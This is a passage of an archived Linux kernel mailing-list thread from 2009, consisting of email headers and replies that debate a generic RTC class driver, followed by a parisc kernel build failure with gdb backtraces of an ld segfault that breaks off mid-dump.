aWMgaXMgCj4gY29uZnVzaW5nIGF0IGJlc3QuIAo+IEluIG1hbnkgY2FzZXMgc3VjaCBjb2RlIG1p
Z2h0IGJlIGJldHRlciBwbGFjZWQgaW4gZHJpdmVycy9ydGMgb3IgCj4gaW5jbHVkZS9saW51eC9y
dGMvY2hpcG5hbWUuCj4gCj4gSW1obyB0aGlzIGRvZXMgbm90IHByZWNsdWRlIHRoZSBwb3NzaWJp
bGl0eSB0byB1c2UgYSBnZW5lcmljIGZyYW1ld29yay4gV2hpbGUKPiB0aGVyZSBjZXJ0YWlubHkg
YXJlIHZhbGlkIHJlYXNvbnMgdG8gaGF2ZSBzZXBhcmF0ZSBkcml2ZXJzIGluIHNvbWUgY2FzZXMg
Cj4gSSBkbyBub3Qgc2VlIG11Y2ggdmFsdWUgaW4gcmV3cml0aW5nIGV2ZXJ5dGhpbmcgYXMgc2Vw
YXJhdGUgZHJpdmVycyB3aGVyZSAKPiB0aGUgZ2VuZXJpYyBmcmFtZXdvcmsgd29ya3Mgd2VsbC4K
CkluZGVlZC4gWW91IGNhbiBoYXZlIGEgd29ya2luZyBSVEMgY2xhc3MgZHJpdmVyIGZvciBsb3Rz
IG9mIGhhcmR3YXJlIGJ5IGp1c3QKd3JpdGluZyBjYS4gMTAwIGxpbmVzIG9mIGNvZGUgb24gdG9w
IG9mIHRoZSBnZW5lcmljIGZyYW1ld29yay4KCldpdGgga2luZCByZWdhcmRzLAoKR2VlcnQgVXl0
dGVyaG9ldmVuClNvZnR3YXJlIEFyY2hpdGVjdAoKU29ueSBUZWNoc29mdCBDZW50cmUgRXVyb3Bl
ClRoZSBDb3Jwb3JhdGUgVmlsbGFnZSDCtyBEYSBWaW5jaWxhYW4gNy1EMSDCtyBCLTE5MzUgWmF2
ZW50ZW0gwrcgQmVsZ2l1bQoKUGhvbmU6ICAgICszMiAoMCkyIDcwMCA4NDUzCkZheDogICAgICAr
MzIgKDApMiA3MDAgODYyMgpFLW1haWw6ICAgR2VlcnQuVXl0dGVyaG9ldmVuQHNvbnljb20uY29t
CkludGVybmV0OiBodHRwOi8vd3d3LnNvbnktZXVyb3BlLmNvbS8KCkEgZGl2aXNpb24gb2YgU29u
eSBFdXJvcGUgKEJlbGdpdW0pIE4uVi4KVkFUIEJFIDA0MTMuODI1LjE2MCDCtyBSUFIgQnJ1c3Nl
bHMKRm9ydGlzIMK3IEJJQyBHRUJBQkVCQiDCtyBJQkFOIEJFNDEyOTMwMzc2ODAwMTAKX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KTGludXhwcGMtZGV2IG1h
aWxpbmcgbGlzdApMaW51eHBwYy1kZXZAb3psYWJzLm9yZwpodHRwczovL296bGFicy5vcmcvbWFp
bG1hbi9saXN0aW5mby9saW51eHBwYy1kZXY=


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 2 Mar 2009 11:03:10 +0100
Organization: Tower Technologies
Lines: 29
Approved: news@gmane.org
Message-ID: <20090302110310.35af50ea@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
	<alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235988214 6752 80.91.229.12 (2 Mar 2009 10:03:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 10:03:34 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Mon Mar 02 11:04:49 2009
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Le50x-0001ln-Vy
	for glpm-linux-m68k@gmane.org; Mon, 02 Mar 2009 11:04:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752886AbZCBKDW (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Mon, 2 Mar 2009 05:03:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756811AbZCBKDW
	(ORCPT <rfc822;linux-m68k-outgoing>); Mon, 2 Mar 2009 05:03:22 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:41454 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752886AbZCBKDV (ORCPT <rfc822;linux-m68k@vger.kernel.org>);
	Mon, 2 Mar 2009 05:03:21 -0500
Original-Received: (qmail 26164 invoked from network); 2 Mar 2009 11:03:11 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 2 Mar 2009 11:03:11 +0100
In-Reply-To: <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:501 gmane.linux.ports.parisc:1337 gmane.linux.kernel:801230 gmane.linux.ports.ppc64.devel:53009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1337>

On Mon, 2 Mar 2009 10:54:14 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> Indeed. You can have a working RTC class driver for lots of hardware by just
> writing ca. 100 lines of code on top of the generic framework.

 That's true, but we would then have two generic frameworks. And one
 of them will have its code scattered all around the kernel.

 So you either use the old rtc framework, which is perfectly functional,
 or you move to the new rtc lass and write the drivers.

 Layering a generic framework over another generic framework
 is quite a nonsense . 

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-m68k" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 2 Mar 2009 11:28:01 +0100 (CET)
Lines: 72
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com> <20090220170454.04382e9e@i1501.lan.towertech.it> <alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be> <1235511327.18632.73.camel@macbook.infradead.org>
 <20090224231154.60ba18d6@i1501.lan.towertech.it> <1235514727.18632.93.camel@macbook.infradead.org> <alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be> <20090225111836.621412c1@i1501.lan.towertech.it> <20090227185514.GA1071@linux-m68k.org>
 <alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be> <20090302110310.35af50ea@i1501.lan.towertech.it>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-15
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1235989697 11355 80.91.229.12 (2 Mar 2009 10:28:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 10:28:17 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	David@ozlabs.org, Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Alessandro Zummo <alessandro.zummo@towertech.it>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 11:29:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Le5Os-0001gv-KL
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 11:29:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756388AbZCBK2H convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 05:28:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755987AbZCBK2H
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 05:28:07 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:63436 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754022AbZCBK2E (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 05:28:04 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 1AF7158AD0;
	Mon,  2 Mar 2009 11:28:01 +0100 (MET)
In-Reply-To: <20090302110310.35af50ea@i1501.lan.towertech.it>
User-Agent: Alpine 2.00 (LRH 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1338 gmane.linux.kernel:801239 gmane.linux.ports.ppc64.devel:53010 gmane.linux.ports.m68k:502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1338>

On Mon, 2 Mar 2009, Alessandro Zummo wrote:
> On Mon, 2 Mar 2009 10:54:14 +0100 (CET)
> Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:
> > Indeed. You can have a working RTC class driver for lots of hardwar=
e by just
> > writing ca. 100 lines of code on top of the generic framework.
>=20
>  That's true, but we would then have two generic frameworks. And one
>  of them will have its code scattered all around the kernel.
>=20
>  So you either use the old rtc framework, which is perfectly function=
al,
>  or you move to the new rtc lass and write the drivers.

So I can solve my problem (autoloading the RTC driver on PS3 by udev) b=
y
converting the old genrtc driver into a platform device driver and crea=
ting
platform devices where appropriate.

However, this doesn't solve the distro's problem: as the old RTC framew=
ork
depends on RTC_LIB=3Dn, you cannot have both old and new RTC drivers in=
 your
(single) distro kernel. That's why dmwm2 created drivers/rtc/rtc-ppc.c:=
 Fedora
had to support machines with both old and new RTC drivers. As all of th=
e old
drivers are actually behind the ppc_md.[sg]et_rtc_time() abstraction, t=
his was
very easy.

Hence it's all or nothing, and we have to convert all of them.

drivers/rtc/rtc-generic.c would allow to have a working system without =
old
RTC drivers, until all low-level code has been converted to individual =
RTC
drivers.

>  Layering a generic framework over another generic framework
>  is quite a nonsense .=20

IMHO these two generic frameworks are quite different: [sg]et_rtc_time(=
)
abstracts the low-level RTC hardware interface, while RTC class handles=
 the
interaction with userspace.

With kind regards,

Geert Uytterhoeven
Software Architect

Sony Techsoft Centre Europe
The Corporate Village =B7 Da Vincilaan 7-D1 =B7 B-1935 Zaventem =B7 Bel=
gium

Phone:    +32 (0)2 700 8453
=46ax:      +32 (0)2 700 8622
E-mail:   Geert.Uytterhoeven@sonycom.com
Internet: http://www.sony-europe.com/

A division of Sony Europe (Belgium) N.V.
VAT BE 0413.825.160 =B7 RPR Brussels
=46ortis =B7 BIC GEBABEBB =B7 IBAN BE41293037680010
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.m68k
Subject: Re: [rtc-linux] Re: [PATCH/RFC 0/5] Generic RTC class driver
Date: Mon, 2 Mar 2009 12:09:50 +0100
Organization: Tower Technologies
Lines: 63
Approved: news@gmane.org
Message-ID: <20090302120950.0d35e06c@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
	<20090220170454.04382e9e@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0902231319170.22762@vixen.sonytel.be>
	<1235511327.18632.73.camel@macbook.infradead.org>
	<20090224231154.60ba18d6@i1501.lan.towertech.it>
	<1235514727.18632.93.camel@macbook.infradead.org>
	<alpine.LRH.2.00.0902251059110.4063@vixen.sonytel.be>
	<20090225111836.621412c1@i1501.lan.towertech.it>
	<20090227185514.GA1071@linux-m68k.org>
	<alpine.LRH.2.00.0903021051040.25117@vixen.sonytel.be>
	<20090302110310.35af50ea@i1501.lan.towertech.it>
	<alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235992216 19447 80.91.229.12 (2 Mar 2009 11:10:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 11:10:16 +0000 (UTC)
Cc: Richard Zidlicky <rz@linux-m68k.org>, rtc-linux@googlegroups.com,
	David Woodhouse <dwmw2@infradead.org>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Linux/PPC Development <linuxppc-dev@ozlabs.org>,
	Linux/m68k <linux-m68k@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>
To: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 12:11:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Le63R-0006M1-Jp
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 12:11:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757674AbZCBLKA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 06:10:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757635AbZCBLKA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 06:10:00 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:57516 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752253AbZCBLJ7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 06:09:59 -0500
Original-Received: (qmail 28727 invoked from network); 2 Mar 2009 12:09:50 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 2 Mar 2009 12:09:50 +0100
In-Reply-To: <alpine.LRH.2.00.0903021116450.25117@vixen.sonytel.be>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1339 gmane.linux.kernel:801249 gmane.linux.ports.ppc64.devel:53011 gmane.linux.ports.m68k:503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1339>

On Mon, 2 Mar 2009 11:28:01 +0100 (CET)
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> So I can solve my problem (autoloading the RTC driver on PS3 by udev) by
> converting the old genrtc driver into a platform device driver and creating
> platform devices where appropriate.

 yes. btw, if you are building a kernel specific for the PS3, I would
 compile the rtc driver statically, otherwise it won't be available
 early on boot.
 
> However, this doesn't solve the distro's problem: as the old RTC framework
> depends on RTC_LIB=n, you cannot have both old and new RTC drivers in your
> (single) distro kernel. That's why dmwm2 created drivers/rtc/rtc-ppc.c: Fedora
> had to support machines with both old and new RTC drivers. As all of the old
> drivers are actually behind the ppc_md.[sg]et_rtc_time() abstraction, this was
> very easy.

 ok, generic kernel. you will have to load the modules on initrd. no, sadly you
 can't have both of them. you might stick with the old interface or
 convert them all. 

> Hence it's all or nothing, and we have to convert all of them.
> 
> drivers/rtc/rtc-generic.c would allow to have a working system without old
> RTC drivers, until all low-level code has been converted to individual RTC
> drivers.

 I know but I have enough experience to foresee that once a generic over generic
 framework is in place it's very hard to get rid of it because people
 will have no incentives.

 If you really need rtc-generic you can keep using it even if it's 
 not in the kernel, distributions often have their specific
 set of kernel patches.

 But I'd strongly suggest to plan and execute a conversion process.


> >  Layering a generic framework over another generic framework
> >  is quite a nonsense . 
> 
> IMHO these two generic frameworks are quite different: [sg]et_rtc_time()
> abstracts the low-level RTC hardware interface, while RTC class handles the
> interaction with userspace.

 When I wrote it my intention was to make it as an abstraction _between_
 the userspace and the hardware according to the platform/device model.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Mon, 2 Mar 2009 19:13:29 +0300
Lines: 150
Approved: news@gmane.org
Message-ID: <a4423d670903020813k5c67749du7070ce31d44ab3e7@mail.gmail.com>
References: <a4423d670902270955j5562dd4bkce8142e0a89750f9@mail.gmail.com>
	 <20090228161719.40D0D4E9A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1236010445 19346 80.91.229.12 (2 Mar 2009 16:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Mar 2009 16:14:05 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 02 17:15:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LeAnA-0007xJ-Sj
	for glpp-linux-parisc@gmane.org; Mon, 02 Mar 2009 17:14:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753324AbZCBQNe convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Mar 2009 11:13:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753411AbZCBQNe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 2 Mar 2009 11:13:34 -0500
Original-Received: from mail-ew0-f177.google.com ([209.85.219.177]:57931 "EHLO
	mail-ew0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753324AbZCBQNc convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Mar 2009 11:13:32 -0500
Original-Received: by ewy25 with SMTP id 25so2052572ewy.37
        for <linux-parisc@vger.kernel.org>; Mon, 02 Mar 2009 08:13:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=PVixrVyxY+hhKbP9IN5IZcdXMcbl3BBHFac3+FSJ87Y=;
        b=qr+HhNCaqK4bccCiUTYmMNcq8K3pEYQ6nCEAIDwYYKgp/FKEgS6zuvPj6U5vuCZjo4
         Zu6/CxboYpD+5X5xl11atOZDkltyl0uA6uzg+HDwMVHC9a9AR6amTZBJy/jEOHHVf58n
         5dCa720yv77gQDh+5KNGD6wAgCoYHtAS2tqkQ=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=I6wisBw1SdKPiGRvt9JHmmdjAZcoyluPGvz0AOLXZpAhLUSD8UtMBSZuFErOt0CJaF
         DWO1DA/0Li1InX85ADDysTYXKK49PUOj4GpnRupsEgMazaTQ6KtpmDOoiHDyA0+FDnIy
         rOjXGUXQpkM1XiXuru0aZM/TW6l3OVG7xDkII=
Original-Received: by 10.210.128.5 with SMTP id a5mr3328978ebd.99.1236010409815; Mon, 
	02 Mar 2009 08:13:29 -0800 (PST)
In-Reply-To: <20090228161719.40D0D4E9A@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1340>

2009/2/28 John David Anglin <dave@hiauly1.hia.nrc.ca>:
>> (no debugging symbols found)
>> /usr/bin/ld:
>> Program received signal SIGSEGV, Segmentation fault.
>> 0x4080f404 in strlen () from /lib/libc.so.6
>> (gdb) backtrace
>> #0 =C2=A00x4080f404 in strlen () from /lib/libc.so.6
>> #1 =C2=A00x407d5428 in vfprintf () from /lib/libc.so.6
>> #2 =C2=A00x407d1304 in ?? () from /lib/libc.so.6
>> #3 =C2=A00x407d18b0 in vfprintf () from /lib/libc.so.6
>> #4 =C2=A00x4088359c in __vfprintf_chk () from /lib/libc.so.6
>> #5 =C2=A00x4040cdc8 in _bfd_default_error_handler () from
>> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
>> #6 =C2=A00x40432034 in ?? () from
>> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
>> #7 =C2=A00x40452f58 in bfd_elf_final_link () from
>> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
>> #8 =C2=A00x4042e764 in ?? () from
>> /usr/lib/binutils/hppa2.0-unknown-linux-gnu/2.18/libbfd-2.18.so
>> #9 =C2=A00x00029f3c in ?? ()
>> #10 0x000295c8 in main ()
>>
>> Glibc is =C2=A02.9_p20081201, I will try older version.
>
> Assuming you have the glibc debug libraries, try the same backtrace
> with LD_LIBRARY_PATH set to /usr/lib/debug. =C2=A0Try to determine
> if a bad pointer has been passed from _bfd_default_error_handler.
> This seems likely.
Hi John,

Thanks for you help
Is it more clear?

binutils-2.19.1, glibc-2.9_p20081201, gcc-4.3.3

/usr/bin/ld:
Program received signal SIGSEGV, Segmentation fault.
*__GI_strlen (str=3D0xc84 <Address 0xc84 out of bounds>) at strlen.c:64
64      strlen.c: No such file or directory.
        in strlen.c
(gdb) bt
#0  *__GI_strlen (str=3D0xc84 <Address 0xc84 out of bounds>) at strlen.=
c:64
#1  0x40542530 in _IO_vfprintf_internal (s=3D0xfb0d3520,
    format=3D0xfb0d2a0c "arch/parisc/kernel/built-in.o(.text.8+0x%lx):
cannot reach %s, recompile with -ffunction-sections", ap=3D0xfb0d29cc)
    at vfprintf.c:1581
#2  0x40543284 in buffered_vfprintf (s=3D0x4064ab98, format=3D0xfb0d2a3=
7
"): cannot reach %s, recompile with -ffunction-sections",
    args=3D0xfb0d55d0) at vfprintf.c:2188
#3  0x4053f2e0 in _IO_vfprintf_internal (s=3D0x4064ab98,
    format=3D0xfb0d2a0c "arch/parisc/kernel/built-in.o(.text.8+0x%lx):
cannot reach %s, recompile with -ffunction-sections", ap=3D0xfb0d29d4)
    at vfprintf.c:1288
#4  0x405eddb4 in ___vfprintf_chk (fp=3D0x4064ab98, flag=3D1,
    format=3D0xfb0d2a0c "arch/parisc/kernel/built-in.o(.text.8+0x%lx):
cannot reach %s, recompile with -ffunction-sections", ap=3D0xfb0d29d4)
    at vfprintf_chk.c:35
#5  0x4004ec74 in _bfd_default_error_handler (fmt=3D0x400c1089 "+0x%lx)=
:
cannot reach %s, recompile with -ffunction-sections")
    at /usr/include/bits/stdio2.h:128
#6  0x40074c94 in elf32_hppa_relocate_section (output_bfd=3D0x78d28,
info=3D0x68c00, input_bfd=3D0xd9060, input_section=3D0xf21c0,
    contents=3D0x43571008 "cows can fly", relocs=3D0x12b520,
local_syms=3D0x1891808, local_sections=3D0x1b350d8)
    at /var/tmp/portage/sys-devel/binutils-2.19.1/work/binutils-2.19.1/=
bfd/elf32-hppa.c:3599
#7  0x40099480 in bfd_elf_final_link (abfd=3D0x78d28, info=3D0x68c00)
    at /var/tmp/portage/sys-devel/binutils-2.19.1/work/binutils-2.19.1/=
bfd/elflink.c:9269
#8  0x40071374 in elf32_hppa_final_link (abfd=3D0xc84, info=3D0xfb0d2a3=
7)
    at /var/tmp/portage/sys-devel/binutils-2.19.1/work/binutils-2.19.1/=
bfd/elf32-hppa.c:3266
#9  0x0002a1e8 in ?? ()
#10 0x00029904 in main ()

Should I really recompile glibc with -ffunction-sections ?

bt full:

#5  0x4004ec74 in _bfd_default_error_handler (fmt=3D0x400c1089 "+0x%lx)=
:
cannot reach %s, recompile with -ffunction-sections")
    at /usr/include/bits/stdio2.h:128
        ap =3D (va_list) 0xfb3229d4
        bufp =3D 0xfb322a31 "+0x%lx): cannot reach %s, recompile with
-ffunction-sections"
        new_fmt =3D 0xfb322a0c
"arch/parisc/kernel/built-in.o(.text.8+0x%lx): cannot reach %s,
recompile with -ffunction-sections"
        p =3D 0x400c10a1 ", recompile with -ffunction-sections"
        avail =3D 902
        buf =3D "arch/parisc/kernel/built-in.o(.text.8+0x%lx): cannot
reach %s, recompile with
-ffunction-sections\000=C3=B2=C3=B7\000\000\000\006\000\000\000\001\000=
\000\000\000\000\000\000\001=C3=BF=C3=BF=C3=B3|=C3=BF=C3=BF=C3=BF=C3=BF=
\000\000\000\001\000\000\000\000\000\000\000\000@\r0\230\000\b\003\230\=
000\000\000\000\000\000\200\000\000\000\000\000@\r0\230\000\v\v
\000\000\000\000\000\000\000\n\000\000\000\b\000\000\000\004\000\000@h\=
000\000\000F\000\000\000=C2=B1\000\000\000=C2=B1@\f\017\000"...
        __PRETTY_FUNCTION__ =3D "_bfd_default_error_handler"
#6  0x40074c94 in elf32_hppa_relocate_section (output_bfd=3D0x78d28,
info=3D0x68c00, input_bfd=3D0xd9060, input_section=3D0xf21c0,
    contents=3D0x43571008 "cows can fly", relocs=3D0x12b520,
local_syms=3D0x1891808, local_sections=3D0x1b350d8)
    at /var/tmp/portage/sys-devel/binutils-2.19.1/work/binutils-2.19.1/=
bfd/elf32-hppa.c:3599
        howto =3D <value optimized out>
        sym =3D (Elf_Internal_Sym *) 0x18920c8
        sym_name =3D <value optimized out>
        warned_undef =3D 0
        r_symndx =3D <value optimized out>
        hh =3D (struct elf32_hppa_link_hash_entry *) 0x0
        sym_sec =3D (asection *) 0xf21c0
        relocation =3D 18446744073709532028
